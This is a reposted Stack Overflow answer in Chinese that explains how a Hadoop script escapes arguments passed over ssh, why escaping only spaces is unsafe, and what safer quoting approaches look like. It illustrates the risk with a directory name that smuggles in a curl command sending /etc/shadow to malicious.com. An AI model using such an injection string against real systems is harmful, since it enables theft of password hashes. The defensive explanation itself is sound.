gpt4 book ai didi

bash - $"${@///\\}"在 bash 中是什么意思?

转载 作者:可可西里 更新时间:2023-11-01 14:27:31 24 4
gpt4 key购买 nike

当我阅读一个 Hadoop 部署脚本时,我发现了以下代码:

ssh $HADOOP_SSH_OPTS $slave $"${@// /\\ }"
"${@// /\\ }" input 是一个简单的 shell 命令(参数扩展)。为什么要添加 $在这个命令之前?这是什么 $""意思?

最佳答案

这段代码只是有问题:它打算转义本地脚本的参数列表,以便可以通过 ssh 传输带空格的参数,但它做得很糟糕(缺少某些类型的空格——以及许多类别的元字符——以可利用的方式) ,并使用 $""语法(执行翻译表查找)而没有任何可理解的理由。

错误的事情(又名:它应该做什么,以及它是如何失败的)

第 1 部分:描述问题

将一系列参数传递给 SSH 并不能保证这些参数会以它们输入的方式出现! SSH 将其参数列表扁平化为单个字符串,并仅将该字符串传输到远程系统。

因此:

# you might try to do this...
ssh remotehost printf '%s\n' "hello world" "goodbye world"

...看起来与远程系统完全一样:
# but it comes out exactly the same as this
ssh remotehost 'printf %s\n hello world goodbye world'

...从而消除引号的影响。如果你想要第一个命令的效果,你真正需要的是这样的:
ssh remotehost "printf '%s\n' \"hello world\" \"goodbye world\""

...其中带有引号的命令作为单个参数传递给 SSH。

第 2 部分:尝试的修复

语法 "${var//string/replacement}"计算为 $var 的内容,但对于 string 的每个实例替换为 replacement .

语法 "$@"扩展到给当前脚本的完整参数列表。
"${@//string/replacement}"扩展到参数的完整列表,但每个实例都是 string在每个参数中替换为 replacement .

因此, "${@// /\\ }"扩展为完整的参数列表,但每个空格都替换为一个字符串,该字符串在该空格前加上一个反斜杠。

因此,它修改了这一点:
# would be right as a local command, but not over ssh!
ssh remotehost printf '%s\n' 'hello world' 'goodbye world'

对此:
# ...but with "${@// /\\ }", it becomes this:
ssh remotehost printf '%s\n' 'hello\ world' 'goodbye\ world'

... SSH 对此进行了说明:
# ...which behaves just like this, which actually works:
ssh remotehost 'printf %s\n hello\ world goodbye\ world'

看起来很棒,对吧?除了它不是。

旁白:$"${@/...//...}"中的前导 $ 是做什么用的?

这是一个错误。这是有效的语法,因为 $""在 bash 中具有有用的含义(将字符串作为英文文本查找以查看是否有当前用户的母语的翻译),但没有正当理由在此处进行翻译表查找。

为什么该代码有危险的错误

除了空格之外,您还需要转义很多东西才能为 shell 评估提供安全的东西!

假设您正在运行以下程序:
# copy directory structure to remote machine
src=/home/someuser/files
while read -r path; do
ssh "$host" "mkdir -p $path"
done < <(find /home/someuser/files -type d -printf '%P\0')

看起来很安全,对吧?但是让我们说 someuser对他们的文件权限(或恶意)草率,有人这样做:
mkdir $'/home/someuser/files/$(curl\t-X\tPOST\t-d\t/etc/shadow\thttp://malicious.com/)/'

不好了!现在,如果您以 root 权限运行该脚本,您将获得 /etc/shadow发送至 malicious.com ,让他们在闲暇时尝试破解您的密码——您的问题中给出的代码无济于事,因为它只反斜杠转义空格,而不是制表符或换行符,而且它对 $() 没有任何作用。或反引号或其他可以控制 shell 的字符。

正确的事情(选项 1:使用标准输入)

转义要通过 ssh 传输的参数列表的安全且正确的方法如下:
#!/bin/bash

# tell bash to put a quoted string which will, if expanded by bash, evaluate
# to the original arguments to this script into cmd_str
printf -v cmd_str '%q ' "$@"

# on the remote system, run "bash -s", with the script to run fed on stdin
# this guarantees that the remote shell is bash, which printf %q quoted content
# to be parsed by.
ssh "$slave" "bash -s" <<EOF
$cmd_str
EOF

这种方法有一些固有的局限性——最特别的是,它需要将远程命令的标准输入用于脚本内容——但即使远程 /bin/sh 也是安全的。不支持 bash 扩展,例如 $'' .

正确的事情(选项 2:使用 Python)

与 bash 和 ksh 的 printf %q 不同, Python 标准库的 pipes.quote() (在 3.x 中移至 shlex.quote() )保证生成符合 POSIX 的输出。我们可以这样使用它:
posix_quote() {
python -c 'import pipes, sys; print " ".join([pipes.quote(x) for x in sys.argv[1:]])' "$@"
}

cmd_str=$(posix_quote "$@")
ssh "$slave" "$cmd_str"

关于bash - $"${@///\\}"在 bash 中是什么意思?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39418004/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com